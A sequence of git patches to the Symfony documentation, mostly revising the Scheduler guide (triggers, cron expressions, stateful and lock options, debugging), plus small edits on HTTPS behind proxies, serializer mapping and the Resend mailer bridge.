@@ -199,7 +198,8 @@ If the basic frequency is set to a daily basis, you will need to implement a cus
                 return null;
             }
 
-            while (!$this->isHoliday($nextRun) { // loop until you get the next run date that is not a holiday
+            // loop until you get the next run date that is not a holiday
+            while (!$this->isHoliday($nextRun) {
                 $nextRun = $this->inner->getNextRunDate($nextRun);
             }
 
@@ -208,25 +208,21 @@ If the basic frequency is set to a daily basis, you will need to implement a cus
 
         private function isHoliday(\DateTimeImmutable $timestamp): bool
         {
-            // app specific logic to determine if $timestamp is on a holiday
-            // returns true if holiday, false otherwise
+            // add some logic to determine if the given $timestamp is a holiday
+            // return true if holiday, false otherwise
         }
     }
 
-Then, you would have to define your RecurringMessage
-
-.. configuration-block::
+Then, define your recurring message::
 
-    .. code-block:: php
+    RecurringMessage::trigger(
+        new ExcludeHolidaysTrigger(
+            CronExpressionTrigger::fromSpec('@daily'),
+        ),
+        new SendDailySalesReports('...'),
+    );
 
-        RecurringMessage::trigger(
-            new ExcludeHolidaysTrigger( // your custom trigger wrapper
-                CronExpressionTrigger::fromSpec('@daily'),
-            ),
-            new SendDailySalesReports(// ...),
-        );
-
-The RecurringMessages must be attached to a Schedule::
+Finally, the recurring messages must be attached to a schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -239,49 +235,44 @@ The RecurringMessages must be attached to a Schedule::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     RecurringMessage::trigger(
-                        new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                        new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
                         ),
-                    new SendDailySalesReports()),
-                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
-
+                        new SendDailySalesReports()
+                    ),
+                    RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport())
                 );
         }
     }
 
-So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
-
 Consuming Messages (Running the Worker)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+---------------------------------------
 
-After defining and attaching your RecurringMessages to a schedule, you'll need a mechanism to generate and 'consume' the messages according to their defined frequencies.
-This can be achieved using the ``messenger:consume command`` since the Scheduler reuses the Messenger worker.
+After defining and attaching your recurring messages to a schedule, you'll need
+a mechanism to generate and consume the messages according to their defined frequencies.
+To do that, the Scheduler component uses the ``messenger:consume`` command from
+the Messenger component:
 
 .. code-block:: terminal
 
-    php bin/console messenger:consume scheduler_nameofyourschedule
+    $ php bin/console messenger:consume scheduler_nameofyourschedule
 
     # use -vv if you need details about what's happening
-    php bin/console messenger:consume scheduler_nameofyourschedule -vv
+    $ php bin/console messenger:consume scheduler_nameofyourschedule -vv
 
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
 .. versionadded:: 6.4
 
-    Since version 6.4, you can define your message(s) via a ``callback``. This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
-
+    Since version 6.4, you can define your messages via a ``callback`` via the
+    :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
 Debugging the Schedule
-~~~~~~~~~~~~~~~~~~~~~~
+----------------------
 
-The ``debug:scheduler`` command provides a list of schedules along with their recurring messages.
-You can narrow down the list to a specific schedule.
-
-.. versionadded:: 6.4
-
-    Since version 6.4, you can even specify a date to determine the next run date using the ``--date`` option.
-    Additionally, you have the option to display terminated recurring messages using the ``--all`` option.
+The ``debug:scheduler`` command provides a list of schedules along with their
+recurring messages. You can narrow down the list to a specific schedule:
 
 .. code-block:: terminal
 
@@ -300,18 +291,22 @@ You can narrow down the list to a specific schedule.
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
-Efficient management with Symfony Scheduler
--------------------------------------------
+.. versionadded:: 6.4
 
-However, if your worker becomes idle, since the messages from your schedule are generated on-the-fly by the schedulerTransport,
-they won't be generated during this idle period.
+    Since version 6.4, you can even specify a date to determine the next run date
+    using the ``--date`` option. Additionally, you have the option to display
+    terminated recurring messages using the ``--all`` option.
 
-While this might not pose a problem in certain situations, consider the impact for your sales company if a report is missed.
+Efficient management with Symfony Scheduler
+-------------------------------------------
 
-In this case, the scheduler has a feature that allows you to remember the last execution date of a message.
-So, when it wakes up again, it looks at all the dates and can catch up on what it missed.
+If a worker becomes idle, the recurring messages won't be generated (because they
+are created on-the-fly by the scheduler transport).
 
-This is where the ``stateful`` option comes into play. This option helps you remember where you left off, which is super handy for those moments when the worker is idle and you need to catch up (for more details, see :doc:`cache </components/cache>`)::
+That's why the scheduler allows to remember the last execution date of a message
+via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
+This way, when it wakes up again, it looks at all the dates and can catch up on
+what it missed::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -321,7 +316,7 @@ This is where the ``stateful`` option comes into play. This option helps you rem
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
@@ -331,8 +326,9 @@ This is where the ``stateful`` option comes into play. This option helps you rem
         }
     }
 
-To scale your schedules more effectively, you can use multiple workers.
-In such cases, a good practice is to add a :doc:`lock </components/lock>`. for some job concurrency optimization. It helps preventing the processing of a task from being duplicated.::
+To scale your schedules more effectively, you can use multiple workers. In such
+cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
+same task more than once::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -342,23 +338,26 @@ In such cases, a good practice is to add a :doc:`lock </components/lock>`. for s
     {
         public function getSchedule(): Schedule
         {
-            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
                 );
-                ->lock($this->lockFactory->createLock(‘my-lock’)
+                ->lock($this->lockFactory->createLock('my-lock')
         }
     }
 
 .. tip::
 
-    The processing time of a message matters.
-    If it takes a long time, all subsequent message processing may be delayed. So, it's a good practice to anticipate this and plan for frequencies greater than the processing time of a message.
+    The processing time of a message matters. If it takes a long time, all subsequent
+    message processing may be delayed. So, it's a good practice to anticipate this
+    and plan for frequencies greater than the processing time of a message.
 
-Additionally, for better scaling of your schedules, you have the option to wrap your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
-This allows you to specify a transport on which your message will be redispatched before being further redispatched to its corresponding handler::
+Additionally, for better scaling of your schedules, you have the option to wrap
+your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
+This allows you to specify a transport on which your message will be redispatched
+before being further redispatched to its corresponding handler::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;
@@ -369,10 +368,12 @@ This allows you to specify a transport on which your message will be redispatche
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(RecurringMessage::every('5 seconds’), new RedispatchMessage(new Message(), ‘async’))
+                ->with(RecurringMessage::every('5 seconds'), new RedispatchMessage(new Message(), 'async'))
                 );
         }
     }
 
-.. _dragonmantank/cron-expression: https://packagist.org/packages/dragonmantank/cron-expression
-.. _crontab_helper: https://crontab.guru/
+.. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
+.. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
+.. _`crontab.guru website`: https://crontab.guru/
+.. _`relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative

From 529ba625401bbb18b7e936c0a9a961f867736aa7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 13:18:02 +0100
Subject: [PATCH 5656/7107] [Scheduler] Reformat some versionadded directives

---
 scheduler.rst | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..8e172412559 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -140,6 +140,13 @@ It uses the same syntax as the `cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
+    // optionally you can define the timezone used by the cron expression
+    RecurringMessage::cron('* * * * *', new Message(), new \DateTimeZone('Africa/Malabo'));
+
+.. versionadded:: 6.4
+
+    The feature to define the cron timezone was introduced in Symfony 6.4.
+
 Before using it, you must install the following dependency:
 
 .. code-block:: terminal
@@ -151,10 +158,6 @@ Before using it, you must install the following dependency:
     Check out the `crontab.guru website`_ if you need help to construct/understand
     cron expressions.
 
-.. versionadded:: 6.4
-
-    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
-
 Periodical Triggers
 ~~~~~~~~~~~~~~~~~~~
 
@@ -291,11 +294,15 @@ recurring messages. You can narrow down the list to a specific schedule:
         15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
        -------------------- -------------------------- ---------------------
 
+    # you can also specify a date to use for the next run date:
+    $ php bin/console --date=2025-10-18
+
+    # use the --all option to also display the terminated recurring messages
+    $ php bin/console --all
+
 .. versionadded:: 6.4
 
-    Since version 6.4, you can even specify a date to determine the next run date
-    using the ``--date`` option. Additionally, you have the option to display
-    terminated recurring messages using the ``--all`` option.
+    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
 
 Efficient management with Symfony Scheduler
 -------------------------------------------

From cf8cc5beeadda756a679875593b7fc08ef169b7b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 13:19:19 +0100
Subject: [PATCH 5657/7107] [Scheduler] Remove some unneeded versionadded
 directives

---
 scheduler.rst | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 8e172412559..18d0f60fe69 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -1,10 +1,6 @@
 Scheduler
 =========
 
-.. versionadded:: 6.3
-
-    The Scheduler component was introduced in Symfony 6.3
-
 The scheduler component manages task scheduling within your PHP application, like
 running a task each night at 3 AM, every two weeks except for holidays or any
 other custom schedule you might need.
@@ -143,10 +139,6 @@ It uses the same syntax as the `cron command-line utility`_::
     // optionally you can define the timezone used by the cron expression
     RecurringMessage::cron('* * * * *', new Message(), new \DateTimeZone('Africa/Malabo'));
 
-.. versionadded:: 6.4
-
-    The feature to define the cron timezone was introduced in Symfony 6.4.
-
 Before using it, you must install the following dependency:
 
 .. code-block:: terminal
@@ -266,9 +258,9 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
-.. versionadded:: 6.4
+.. tip::
 
-    Since version 6.4, you can define your messages via a ``callback`` via the
+    You can also define your messages via a ``callback`` using the
     :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
 
 Debugging the Schedule
@@ -300,10 +292,6 @@ recurring messages. You can narrow down the list to a specific schedule:
     # use the --all option to also display the terminated recurring messages
     $ php bin/console --all
 
-.. versionadded:: 6.4
-
-    The ``--date`` and ``--all`` options were introduced in Symfony 6.4.
-
 Efficient management with Symfony Scheduler
 -------------------------------------------
 

From fa15a7acfd3f54289581f935c01fd729a17e2842 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 16 Jan 2024 13:44:27 +0100
Subject: [PATCH 5658/7107] [Scheduler] Emphasize `__toString()`

---
 scheduler.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..9b3d46784f6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -189,6 +189,8 @@ For example, if you want to send customer reports daily except for holiday perio
 
         public function __toString(): string
         {
+            // give a nice displayable name to your trigger
+            // to ease debugging
             return $this->inner.' (except holidays)';
         }
 

From 3df68a78edd3361b6c4949e0f470f01fca57a848 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 14:47:34 +0100
Subject: [PATCH 5659/7107] [Scheduler] Some fixes in code samples

---
 scheduler.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 16728b9e636..764c0e5387e 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -321,7 +321,7 @@ what it missed::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->stateful($this->cache)
         }
     }
@@ -343,7 +343,7 @@ same task more than once::
             return $this->schedule ??= (new Schedule())
                 ->with(
                     // ...
-                );
+                )
                 ->lock($this->lockFactory->createLock('my-lock')
         }
     }
@@ -368,7 +368,9 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(RecurringMessage::every('5 seconds'), new RedispatchMessage(new Message(), 'async'))
+                ->with(
+                    RecurringMessage::every('5 seconds'),
+                    new RedispatchMessage(new Message(), 'async')
                 );
         }
     }

From f1621cc73ce5a2592e5764bf175ace32a2a457fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 15:09:18 +0100
Subject: [PATCH 5660/7107] Tweak

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cd72af7a1f4..3d89f7c4bc3 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -187,10 +187,10 @@ For example, if you want to send customer reports daily except for holiday perio
         {
         }
 
+        // use this method to give a nice displayable name to
+        // identify your trigger (it eases debugging)
         public function __toString(): string
         {
-            // give a nice displayable name to your trigger
-            // to ease debugging
             return $this->inner.' (except holidays)';
         }
 

From dc2fbdb9723546a2ce76fb243e36b67f70825b8d Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 16 Jan 2024 11:27:17 +0100
Subject: [PATCH 5661/7107] note on forcing https

---
 routing.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/routing.rst b/routing.rst
index 4b109a5f166..bbc81ba2bac 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2492,6 +2492,15 @@ when the route doesn't exist::
 Forcing HTTPS on Generated URLs
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. note::
+
+    If your server runs behind a proxy that terminates SSL, make sure to
+    :doc:`configure Symfony to work behind a proxy </deployment/proxies>`
+
+    The configuration for the scheme is only used for non-HTTP requests.
+    The ``schemes`` option together with incorrect proxy configuration will
+    lead to a redirect loop.
+
 By default, generated URLs use the same HTTP scheme as the current request.
 In console commands, where there is no HTTP request, URLs use ``http`` by
 default. You can change this per command (via the router's ``getContext()``

From c696b0e6302c103ef713b016473cae38d14ded03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 16 Jan 2024 15:50:06 +0100
Subject: [PATCH 5662/7107] [Scheduler] List existing triggers

---
 scheduler.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 3d89f7c4bc3..9b532d69dc8 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -133,6 +133,26 @@ Scheduling Recurring Messages
 A ``RecurringMessage`` is a message associated with a trigger, which configures
 the frequency of the message. Symfony provides different types of triggers:
 
+:class:`Symfony\\Component\\Scheduler\\Trigger\\CronExpressionTrigger`
+    A trigger that uses the same syntax as the `cron command-line utility`_.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackTrigger`
+    A trigger that uses a callback to determine the next run date.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger`
+    A trigger that excludes certain times from a given trigger.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
+    A trigger that adds a random jitter to a given trigger. This allows to
+    distribute the load of the scheduled tasks instead of running them all
+    at the same time.
+
+:class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
+    A trigger that uses a ``DateInterval`` to determine the next run date.
+
+Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
+class, as we'll see in the following examples.
+
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -140,7 +160,7 @@ It uses the same syntax as the `cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
-Before using it, you must install the following dependency:
+Before using it, you have to install the following dependency:
 
 .. code-block:: terminal
 
@@ -224,7 +244,7 @@ Then, define your recurring message::
         new SendDailySalesReports('...'),
     );
 
-Finally, the recurring messages must be attached to a schedule::
+Finally, the recurring messages has to be attached to a schedule::
 
     // src/Scheduler/MyScheduleProvider.php
     namespace App\Scheduler;

From 96634f50cd80760f744bcc9de869eddf59591a37 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 16 Jan 2024 11:45:58 +0100
Subject: [PATCH 5663/7107] Add help for hidden SSL termination

---
 deployment/proxies.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index e846f95a808..c3692aa12f4 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -164,8 +164,31 @@ handling the request::
     // ...
     $response = $kernel->handle($request);
 
+Overriding configuration behind hidden SSL termination
+------------------------------------------------------
+
+Some cloud setups (like running a Docker container with the "Web App for Containers"
+in `Microsoft Azure`_) do SSL termination and contact your web server over http, but
+do not change the remote address nor set the ``X-Forwarded-*`` headers. This means
+the trusted proxy funcationality of Symfony can't help you.
+
+Once you made sure your server is only reachable through the cloud proxy over HTTPS
+and not through HTTP, you can override the information your web server sends to PHP.
+For Nginx, this could look like this:
+
+.. code-block:: nginx
+
+    location ~ ^/index\.php$ {
+        fastcgi_pass 127.0.0.1:9000;
+        include fastcgi.conf;
+        # Lie to symfony about the protocol and port so that it generates the correct https URLs
+        fastcgi_param SERVER_PORT "443";
+        fastcgi_param HTTPS "on";
+    }
+
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`nginx realip module`: https://nginx.org/en/docs/http/ngx_http_realip_module.html
+.. _`Microsoft Azure`: https://en.wikipedia.org/wiki/Microsoft_Azure

From e01d2e029e2d530097146c2ac790f1ce17b1133c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 16:07:36 +0100
Subject: [PATCH 5664/7107] Minor tweak

---
 deployment/proxies.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index c3692aa12f4..edaf623e31f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -164,13 +164,13 @@ handling the request::
     // ...
     $response = $kernel->handle($request);
 
-Overriding configuration behind hidden SSL termination
+Overriding Configuration Behind Hidden SSL Termination
 ------------------------------------------------------
 
 Some cloud setups (like running a Docker container with the "Web App for Containers"
-in `Microsoft Azure`_) do SSL termination and contact your web server over http, but
+in `Microsoft Azure`_) do SSL termination and contact your web server over HTTP, but
 do not change the remote address nor set the ``X-Forwarded-*`` headers. This means
-the trusted proxy funcationality of Symfony can't help you.
+the trusted proxy feature of Symfony can't help you.
 
 Once you made sure your server is only reachable through the cloud proxy over HTTPS
 and not through HTTP, you can override the information your web server sends to PHP.
@@ -181,7 +181,7 @@ For Nginx, this could look like this:
     location ~ ^/index\.php$ {
         fastcgi_pass 127.0.0.1:9000;
         include fastcgi.conf;
-        # Lie to symfony about the protocol and port so that it generates the correct https URLs
+        # Lie to Symfony about the protocol and port so that it generates the correct HTTPS URLs
         fastcgi_param SERVER_PORT "443";
         fastcgi_param HTTPS "on";
     }

From 26ba948c3a2322230e7a60a8af83b721d494ec5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 16:56:11 +0100
Subject: [PATCH 5665/7107] Minor tweak

---
 scheduler.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 9b532d69dc8..6f2c25f03a4 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -143,15 +143,16 @@ the frequency of the message. Symfony provides different types of triggers:
     A trigger that excludes certain times from a given trigger.
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
-    A trigger that adds a random jitter to a given trigger. This allows to
-    distribute the load of the scheduled tasks instead of running them all
-    at the same time.
+    A trigger that adds a random jitter to a given trigger. The jitter is some
+    time that it's added/subtracted to the original triggering date/time. This
+    allows to distribute the load of the scheduled tasks instead of running them
+    all at the exact same time.
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
     A trigger that uses a ``DateInterval`` to determine the next run date.
 
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
-class, as we'll see in the following examples.
+class, as shown in the following examples.
 
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 0213c09a62113eba5c66cb973cd418bba5e02cd3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jan 2024 17:33:37 +0100
Subject: [PATCH 5666/7107] [Scheduler] Document hashed cron expressions

---
 scheduler.rst | 21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6f2c25f03a4..bf0644f1911 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -157,15 +157,28 @@ class, as shown in the following examples.
 Cron Expression Triggers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-It uses the same syntax as the `cron command-line utility`_::
+Before using cron triggers, you have to install the following dependency:
+
+.. code-block:: terminal
+
+    composer require dragonmantank/cron-expression
+
+Then, define the trigger date/time using the same syntax as the
+`cron command-line utility`_::
 
     RecurringMessage::cron('* * * * *', new Message());
 
-Before using it, you have to install the following dependency:
+You can also used some special values that represent common cron expressions:
 
-.. code-block:: terminal
+* ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
+* ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``
+* ``#weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0``
+* ``#daily``, ``#midnight`` - Run once a day, midnight - ``0 0 * * *``
+* ``#hourly`` - Run once an hour, first minute - ``0 * * * *``
 
-    composer require dragonmantank/cron-expression
+For example::
+
+    RecurringMessage::cron('#daily', new Message());
 
 .. tip::
 

From 892e5d2747309496654f09919c5ec7c83998776e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 16 Jan 2024 21:36:42 +0100
Subject: [PATCH 5667/7107] Update scheduler.rst

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6f2c25f03a4..c2547319cb5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -195,7 +195,7 @@ Custom Triggers
 ~~~~~~~~~~~~~~~
 
 Custom triggers allow to configure any frequency dynamically. They are created
-as services that implement :class:`Symfony\\Component\\Scheduler\\TriggerInterface`.
+as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`.
 
 For example, if you want to send customer reports daily except for holiday periods::
 

From 4a89412618463e053f9ce105c640a0b34f79730b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 08:53:42 +0100
Subject: [PATCH 5668/7107] Minor fix

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 58686cad705..a272db1d0fd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -168,7 +168,7 @@ Then, define the trigger date/time using the same syntax as the
 
     RecurringMessage::cron('* * * * *', new Message());
 
-You can also used some special values that represent common cron expressions:
+You can also use some special values that represent common cron expressions:
 
 * ``#yearly``, ``#annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *``
 * ``#monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *``

From 968bede32753902aba45d962c6177a6cb0c6a6bc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 17 Jan 2024 08:58:03 +0100
Subject: [PATCH 5669/7107] [Scheduler] Add `AbstractDecoratedTrigger`

---
 scheduler.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index f25b43fee6c..adfc6a9cbe5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -151,6 +151,25 @@ the frequency of the message. Symfony provides different types of triggers:
 :class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger`
     A trigger that uses a ``DateInterval`` to determine the next run date.
 
+The :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger` and
+:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger` are decorators
+and modify the behavior of the trigger they wrap. You can get the decorated
+trigger as well as the decorators by calling the
+:method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
+and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
+methods::
+
+    $trigger = new ExcludeTimeTrigger(new JitterTrigger(CronExpressionTrigger::fromSpec('#midnight', new MyMessage()));
+
+    $trigger->inner(); // CronExpressionTrigger
+    $trigger->decorators(); // [ExcludeTimeTrigger, JitterTrigger]
+
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner`
+    and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators`
+    methods were introduced in Symfony 6.4.
+
 Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage`
 class, as shown in the following examples.
 

From 05b6ce448f788d26866862187e1a6c81f8ee5fd9 Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Tue, 16 Jan 2024 14:32:24 +0100
Subject: [PATCH 5670/7107] add note in DiscriminatorMap section

---
 components/serializer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index a1a281f63c8..a58bdf1fd85 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1837,6 +1837,11 @@ and ``BitBucketCodeRepository`` classes:
             </class>
         </serializer>
 
+.. note::
+
+    The values of the array parameter `mapping` should be strings.
+    Otherwise, it will implicitly be cast into strings.
+
 Once configured, the serializer uses the mapping to pick the correct class::
 
     $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');

From 09f5cc19f5038825328542e717af6710933dfd73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jan 2024 09:24:08 +0100
Subject: [PATCH 5671/7107] Minor reword

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index a58bdf1fd85..fc6b959676b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1839,8 +1839,8 @@ and ``BitBucketCodeRepository`` classes:
 
 .. note::
 
-    The values of the array parameter `mapping` should be strings.
-    Otherwise, it will implicitly be cast into strings.
+    The values of the ``mapping`` array option must be strings.
+    Otherwise, they will be cast into strings automatically.
 
 Once configured, the serializer uses the mapping to pick the correct class::
 

From 667d3af3aada3beccd155985f939f4008e35350c Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Wed, 17 Jan 2024 10:00:36 +0100
Subject: [PATCH 5672/7107] Add Resend bridge documentation

---
 mailer.rst  | 7 +++++++
 webhook.rst | 1 +
 2 files changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index dc981437e3e..37a955efe42 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,6 +110,7 @@ Service               Install with                                    Webhook su
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
+`Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
 ===================== =============================================== ===============
@@ -208,6 +209,10 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API postmark+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
+| `Resend`_              | - SMTP resend+smtp://resend:API_KEY@default         |
+|                        | - HTTP n/a                                          |
+|                        | - API resend+api://API_KEY@default                  |
++------------------------+-----------------------------------------------------+
